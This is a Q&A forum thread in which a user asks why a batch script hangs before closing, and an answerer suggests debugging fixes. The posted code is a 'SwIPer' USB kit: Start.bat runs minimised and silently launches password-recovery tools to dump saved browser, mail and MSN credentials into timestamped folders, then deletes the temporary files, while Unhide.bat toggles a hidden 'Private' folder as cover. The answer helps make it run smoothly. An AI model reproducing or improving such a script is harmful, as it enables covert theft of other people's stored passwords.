Why is my batch file doing nothing for 46 seconds before a forced quitting?

Question

I have figured out what part of the code is doing this but dont know how to fix it... Here's the code:

Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
) 

The batch does what it is ment to do right at the second it is executed but the cmd window stays open for 46 seconds and then quits (because i went taskkill /IM cmd.exe).

Please help!

P.s. if you want me to post all the code (which is a lot) then i will. I might have problems explaining it but i will try my best.

All the code is as followed:

1. I start Pre-Unhide.bat (No problems here)

   @echo off
   
   cd /d %~d0\ 
   cd SwIPer
   start /min Start.bat
   
   cd..
   
   call Unhide.bat
   

2. Start.bat is this:

   @echo off
   
   for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO (
   set CUR_DAY_OF_WEEK=%%i
   set CUR_MONTH=%%j
   set CUR_DAY=%%k
   set CUR_YEAR=%%l)
   
   for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO (
   set CUR_HOUR=%%i
   set CUR_MIN=%%j
   set AM_PM=%%k)
   
   cd /d %~d0\ 
   cd %~d0\SwIPer
   md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
   
   start /min iepv /stext IExplorer.txt
   start /min mailpv /stext Mail.txt
   start /min mspass /stext MSN.txt
   start /min WebBrowserPassView /stext AllBrowsers.txt
   echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
   echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
   echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
   echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
   del IExplorer.txt
   del Mail.txt
   del MSN.txt
   del AllBrowsers.txt
   

3. Then Pre-Unhide.bat goes on and calls Unhide.bat

   @echo off
   
   Set _Path=Private
   For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
   If "%_Attribs:~4,1%"=="H" (
   Attrib -S -H "%_Path%"
   Attrib /D /S -S -H "%_Path%"\*.*
   ) Else (
   Attrib +S +H "%_Path%"
   Attrib /D /S +S +H "%_Path%"\*.*
   )
   

(Then added this because I want it to force quit but it still waits 46 seconds to force quit)

    taskkill /IM cmd.exe

Help is very much appreciated :) thanks.

Answer 1

Start by commenting your code. Makes it easier to understand what you're trying to achieve. Use the Pause command for debugging, at each step in your code if needed.

Try the following: In Pre-Unhide.bat add a /wait switch to your "start /min start.bat" - so "start /min /wait start.bat" . This will make preunhide wait for start to finish before calling unhide.bat. See this link for more info on Start and other CMD commands:: http://ss64.com/nt/

Add exit as the last line of code for start.bat. This will close start.bat so preunhide can call unhide.bat. You could add it as the last line for unhide too..

Also suggest you use ROBOCOPY instead of XCOPY.